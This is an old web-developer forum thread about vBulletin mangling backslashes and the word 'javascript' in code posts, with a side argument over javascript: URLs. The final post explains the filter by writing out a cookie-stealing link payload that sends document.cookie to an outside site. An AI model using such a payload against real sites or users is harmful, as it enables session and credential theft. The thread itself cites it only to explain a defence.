www.webdeveloper.com
Results 1 to 8 of 8

Thread: Backslashes in posts

  1. #1
    Join Date
    Jul 2004
    Location
    London
    Posts
    284

    Backslashes in posts

    When posting JavaScript code snippets (wrapped in code tags), single backslashes followed by an apostrophe seem to be ingored.

    For example, the following:

    Code:
    \'
    was actually entered as:

    Code:
    \\'
    Why this discrepancy? It's a pain having to "over escape" our code when posting it - especially if it contains a lot of backslashes!

    Thanks,
    Dan

  2. #2
    Join Date
    Dec 2003
    Location
    UK
    Posts
    1,141
    This is vbullitens code and i doubt webdeveloper.com will be able to do much about it. In the mean time just add your code as an attachment.

  3. #3
    Join Date
    Jul 2004
    Location
    London
    Posts
    284
    It just gets crazier.

    The following was typed in all as one line, with no space in the middle of the word "javascript":

    href="javascript:

    and here it is surrounded by code tags:

    Code:
    href="javascript:
    Now this is just getting silly! Don't tell me we have to post even the most basic, simple code snippets as file attachments to stop the bulletin code doing silly things with our code?

    Dan

  4. #4
    Join Date
    Nov 2002
    Location
    Dartmoor [Holiday]
    Posts
    2,382
    I agree that the first problem is annoying, but the latter should not be an issue. The javascript: pseudo-protocol should not be used for anything apart from a few (extremely limited) cases such as bookmarklets.

    Adam
    "If youíre not using valid HTML, then you havenít created a Web page. You may have created something else, but it isnít a Web page." - Joe Clark

    Do something amazing (USA) | Make Poverty History

  5. #5
    Join Date
    Jul 2004
    Location
    London
    Posts
    284
    Adam,

    If I had wanted to know about how and where I should and should not be allowed to use the word "javascript", I would have asked. But I did not want or need to know that. I have been a web developer for many years, and am very comfortable with my coding abilities (as are my clients).

    I was trying to fathom why this BB keeps insisting that "javascript" should be made as two separate words for the purposes of some posts, when it is (despite your protests) still legal syntax.

    Dan

  6. #6
    Join Date
    Jul 2003
    Location
    New York City
    Posts
    2,771
    No one said it was illegal syntax. Adam was just making the very valid point that since a large number of users are without Javascript, it should not often be used as the linked resource.

    Moving past that, there is nothing one can do, really. Tis the code of Vbulletin and the Admins would face quite a long time of debugging to fix it. Generally, I just try to use attachments whenever possible.

  7. #7
    Join Date
    Dec 2002
    Location
    High on life
    Posts
    10,104
    Originally posted by MstrBob
    No one said it was illegal syntax.
    I will. Show me where javascript: is a valid protocol for a URI.

    Personal website http://www.ryanbrill.com/
    Business website: http://www.infinitywebdesign.com/
    TypeSpace http://www.typespace.org/

    I reject your reality and substitute it with my own!

  8. #8
    Join Date
    Dec 2002
    Location
    Manchester, UK
    Posts
    6,276
    Originally posted by BillyRay
    If I had wanted to know about how and where I should and should not be allowed to use the word "javascript", I would have asked. But I did not want or need to know that. I have been a web developer for many years, and am very comfortable with my coding abilities (as are my clients).
    Now now, temper temper. There's no need use javascript: in the href 99.99% of the time, instead use the onclick event handler, that way you can put something useful in the href for those with JavaScript disabled.

    Originally posted by BillyRay
    I was trying to fathom why this BB keeps insisting that "javascript" should be made as two separate words for the purposes of some posts, when it is (despite your protests) still legal syntax.
    The forum separates out java and script because if it didn't then people could use it to create nasty, cookie stealer links to obtain users passwords, eg: [url=javascript:location.href='http://www.quiterude.com?'+document.cookie]

    Then the user names and passwords could be stored in a database until an admin got caught out by the link, then the cracker could wreak havok on the forums by banning everyone and posting messages like "I pwn3d J00".
    Every fight is a food fight when youíre a cannibal.

Thread Information

Users Browsing this Thread

There are currently 1 users browsing this thread. (0 members and 1 guests)

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •  
HTML5 Development Center



Recent Articles